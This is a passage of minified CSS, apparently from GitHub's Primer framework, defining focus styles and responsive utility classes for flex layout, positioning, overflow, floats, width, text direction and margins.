var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mt-7{margin-top:48px !important}.mb-7{margin-bottom:48px !important}.mt-n7{margin-top:-48px !important}.mb-n7{margin-bottom:-48px !important}.my-7{margin-top:48px !important;margin-bottom:48px !important}.mt-8{margin-top:64px !important}.mb-8{margin-bottom:64px !important}.mt-n8{margin-top:-64px !important}.mb-n8{margin-bottom:-64px !important}.my-8{margin-top:64px !important;margin-bottom:64px !important}.mt-9{margin-top:80px !important}.mb-9{margin-bottom:80px !important}.mt-n9{margin-top:-80px !important}.mb-n9{margin-bottom:-80px !important}.my-9{margin-top:80px !important;margin-bottom:80px !important}.mt-10{margin-top:96px !important}.mb-10{margin-bottom:96px !important}.mt-n10{margin-top:-96px !important}.mb-n10{margin-bottom:-96px !important}.my-10{margin-top:96px !important;margin-bottom:96px !important}.mt-11{margin-top:112px !important}.mb-11{margin-bottom:112px !important}.mt-n11{margin-top:-112px !important}.mb-n11{margin-bottom:-112px !important}.my-11{margin-top:112px !important;margin-bottom:112px !important}.mt-12{margin-top:128px !important}.mb-12{margin-bottom:128px !important}.mt-n12{margin-top:-128px !important}.mb-n12{margin-bottom:-128px !important}.my-12{margin-top:128px !important;margin-bottom:128px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media(min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mb-sm-0{margin-bottom:0 !important}.mr-sm-0{margin-right:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mb-sm-1{margin-bottom:4px !important}.mr-sm-1{margin-right:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.mr-sm-n1{margin-right:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mb-sm-2{margin-bottom:8px !important}.mr-sm-2{margin-right:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.mr-sm-n2{margin-right:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mb-sm-3{margin-bottom:16px !important}.mr-sm-3{margin-right:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.mr-sm-n3{margin-right:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mb-sm-4{margin-bottom:24px !important}.mr-sm-4{margin-right:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.mr-sm-n4{margin-right:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mb-sm-5{margin-bottom:32px !important}.mr-sm-5{margin-right:32px !important}.ml-sm-5{margin-left:32px !important}.mt-sm-n5{margin-top:-32px !important}.mb-sm-n5{margin-bottom:-32px !important}.mr-sm-n5{margin-right:-32px !important}.ml-sm-n5{margin-left:-32px !important}.mx-sm-5{margin-right:32px !important;margin-left:32px !important}.my-sm-5{margin-top:32px !important;margin-bottom:32px !important}.m-sm-6{margin:40px !important}.mt-sm-6{margin-top:40px !important}.mb-sm-6{margin-bottom:40px !important}.mr-sm-6{margin-right:40px !important}.ml-sm-6{margin-left:40px !important}.mt-sm-n6{margin-top:-40px !important}.mb-sm-n6{margin-bottom:-40px !important}.mr-sm-n6{margin-right:-40px !important}.ml-sm-n6{margin-left:-40px !important}.mx-sm-6{margin-right:40px !important;margin-left:40px !important}.my-sm-6{margin-top:40px !important;margin-bottom:40px !important}.mt-sm-7{margin-top:48px !important}.mb-sm-7{margin-bottom:48px !important}.mt-sm-n7{margin-top:-48px !important}.mb-sm-n7{margin-bottom:-48px !important}.my-sm-7{margin-top:48px !important;margin-bottom:48px !important}.mt-sm-8{margin-top:64px !important}.mb-sm-8{margin-bottom:64px !important}.mt-sm-n8{margin-top:-64px !important}.mb-sm-n8{margin-bottom:-64px !important}.my-sm-8{margin-top:64px !important;margin-bottom:64px !important}.mt-sm-9{margin-top:80px !important}.mb-sm-9{margin-bottom:80px !important}.mt-sm-n9{margin-top:-80px !important}.mb-sm-n9{margin-bottom:-80px !important}.my-sm-9{margin-top:80px !important;margin-bottom:80px !important}.mt-sm-10{margin-top:96px !important}.mb-sm-10{margin-bottom:96px !important}.mt-sm-n10{margin-top:-96px !important}.mb-sm-n10{margin-bottom:-96px !important}.my-sm-10{margin-top:96px !important;margin-bottom:96px !important}.mt-sm-11{margin-top:112px !important}.mb-sm-11{margin-bottom:112px !important}.mt-sm-n11{margin-top:-112px !important}.mb-sm-n11{margin-bottom:-112px !important}.my-sm-11{margin-top:112px !important;margin-bottom:112px !important}.mt-sm-12{margin-top:128px !important}.mb-sm-12{margin-bottom:128px !important}.mt-sm-n12{margin-top:-128px !important}.mb-sm-n12{margin-bottom:-128px !important}.my-sm-12{margin-top:128px !important;margin-bottom:128px !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0{margin-top:0 !important}.mb-md-0{margin-bottom:0 !important}.mr-md-0{margin-right:0 !important}.ml-md-0{margin-left:0 !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.m-md-1{margin:4px !important}.mt-md-1{margin-top:4px !important}.mb-md-1{margin-bottom:4px !important}.mr-md-1{margin-right:4px !important}.ml-md-1{margin-left:4px !important}.mt-md-n1{margin-top:-4px !important}.mb-md-n1{margin-bottom:-4px !important}.mr-md-n1{margin-right:-4px !important}.ml-md-n1{margin-left:-4px !important}.mx-md-1{margin-right:4px !important;margin-left:4px !important}.my-md-1{margin-top:4px !important;margin-bottom:4px !important}.m-md-2{margin:8px !important}.mt-md-2{margin-top:8px !important}.mb-md-2{margin-bottom:8px !important}.mr-md-2{margin-right:8px !important}.ml-md-2{margin-left:8px !important}.mt-md-n2{margin-top:-8px !important}.mb-md-n2{margin-bottom:-8px !important}.mr-md-n2{margin-right:-8px !important}.ml-md-n2{margin-left:-8px !important}.mx-md-2{margin-right:8px !important;margin-left:8px !important}.my-md-2{margin-top:8px !important;margin-bottom:8px !important}.m-md-3{margin:16px !important}.mt-md-3{margin-top:16px !important}.mb-md-3{margin-bottom:16px !important}.mr-md-3{margin-right:16px !important}.ml-md-3{margin-left:16px !important}.mt-md-n3{margin-top:-16px !important}.mb-md-n3{margin-bottom:-16px !important}.mr-md-n3{margin-right:-16px !important}.ml-md-n3{margin-left:-16px !important}.mx-md-3{margin-right:16px !important;margin-left:16px !important}.my-md-3{margin-top:16px !important;margin-bottom:16px !important}.m-md-4{margin:24px !important}.mt-md-4{margin-top:24px !important}.mb-md-4{margin-bottom:24px !important}.mr-md-4{margin-right:24px !important}.ml-md-4{margin-left:24px !important}.mt-md-n4{margin-top:-24px !important}.mb-md-n4{margin-bottom:-24px !important}.mr-md-n4{margin-right:-24px !important}.ml-md-n4{margin-left:-24px !important}.mx-md-4{margin-right:24px !important;margin-left:24px !important}.my-md-4{margin-top:24px !important;margin-bottom:24px !important}.m-md-5{margin:32px !important}.mt-md-5{margin-top:32px !important}.mb-md-5{margin-bottom:32px !important}.mr-md-5{margin-right:32px !important}.ml-md-5{margin-left:32px !important}.mt-md-n5{margin-top:-32px !important}.mb-md-n5{margin-bottom:-32px !important}.mr-md-n5{margin-right:-32px !important}.ml-md-n5{margin-left:-32px !important}.mx-md-5{margin-right:32px !important;margin-left:32px !important}.my-md-5{margin-top:32px !important;margin-bottom:32px !important}.m-md-6{margin:40px !important}.mt-md-6{margin-top:40px !important}.mb-md-6{margin-bottom:40px !important}.mr-md-6{margin-right:40px !important}.ml-md-6{margin-left:40px !important}.mt-md-n6{margin-top:-40px !important}.mb-md-n6{margin-bottom:-40px !important}.mr-md-n6{margin-right:-40px !important}.ml-md-n6{margin-left:-40px !important}.mx-md-6{margin-right:40px !important;margin-left:40px !important}.my-md-6{margin-top:40px !important;margin-bottom:40px !important}.mt-md-7{margin-top:48px !important}.mb-md-7{margin-bottom:48px !important}.mt-md-n7{margin-top:-48px !important}.mb-md-n7{margin-bottom:-48px !important}.my-md-7{margin-top:48px !important;margin-bottom:48px !important}.mt-md-8{margin-top:64px !important}.mb-md-8{margin-bottom:64px !important}.mt-md-n8{margin-top:-64px !important}.mb-md-n8{margin-bottom:-64px !important}.my-md-8{margin-top:64px !important;margin-bottom:64px !important}.mt-md-9{margin-top:80px !important}.mb-md-9{margin-bottom:80px !important}.mt-md-n9{margin-top:-80px !important}.mb-md-n9{margin-bottom:-80px !important}.my-md-9{margin-top:80px !important;margin-bottom:80px !important}.mt-md-10{margin-top:96px !important}.mb-md-10{margin-bottom:96px !important}.mt-md-n10{margin-top:-96px !important}.mb-md-n10{margin-bottom:-96px !important}.my-md-10{margin-top:96px !important;margin-bottom:96px !important}.mt-md-11{margin-top:112px !important}.mb-md-11{margin-bottom:112px !important}.mt-md-n11{margin-top:-112px !important}.mb-md-n11{margin-bottom:-112px !important}.my-md-11{margin-top:112px !important;margin-bottom:112px !important}.mt-md-12{margin-top:128px !important}.mb-md-12{margin-bottom:128px !important}.mt-md-n12{margin-top:-128px !important}.mb-md-n12{margin-bottom:-128px !important}.my-md-12{margin-top:128px !important;margin-bottom:128px !important}.mx-md-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 1012px){.m-lg-0{margin:0 !important}.mt-lg-0{margin-top:0 !important}.mb-lg-0{margin-bottom:0 !important}.mr-lg-0{margin-right:0 !important}.ml-lg-0{margin-left:0 !important}.mx-lg-0{margin-right:0 !important;margin-left:0 !important}.my-lg-0{margin-top:0 !important;margin-bottom:0 !important}.m-lg-1{margin:4px !important}.mt-lg-1{margin-top:4px !important}.mb-lg-1{margin-bottom:4px !important}.mr-lg-1{margin-right:4px !important}.ml-lg-1{margin-left:4px !important}.mt-lg-n1{margin-top:-4px !important}.mb-lg-n1{margin-bottom:-4px !important}.mr-lg-n1{margin-right:-4px !important}.ml-lg-n1{margin-left:-4px !important}.mx-lg-1{margin-right:4px !important;margin-left:4px !important}.my-lg-1{margin-top:4px !important;margin-bottom:4px !important}.m-lg-2{margin:8px !important}.mt-lg-2{margin-top:8px !important}.mb-lg-2{margin-bottom:8px !important}.mr-lg-2{margin-right:8px !important}.ml-lg-2{margin-left:8px !important}.mt-lg-n2{margin-top:-8px !important}.mb-lg-n2{margin-bottom:-8px !important}.mr-lg-n2{margin-right:-8px !important}.ml-lg-n2{margin-left:-8px !important}.mx-lg-2{margin-right:8px !important;margin-left:8px !important}.my-lg-2{margin-top:8px !important;margin-bottom:8px !important}.m-lg-3{margin:16px !important}.mt-lg-3{margin-top:16px 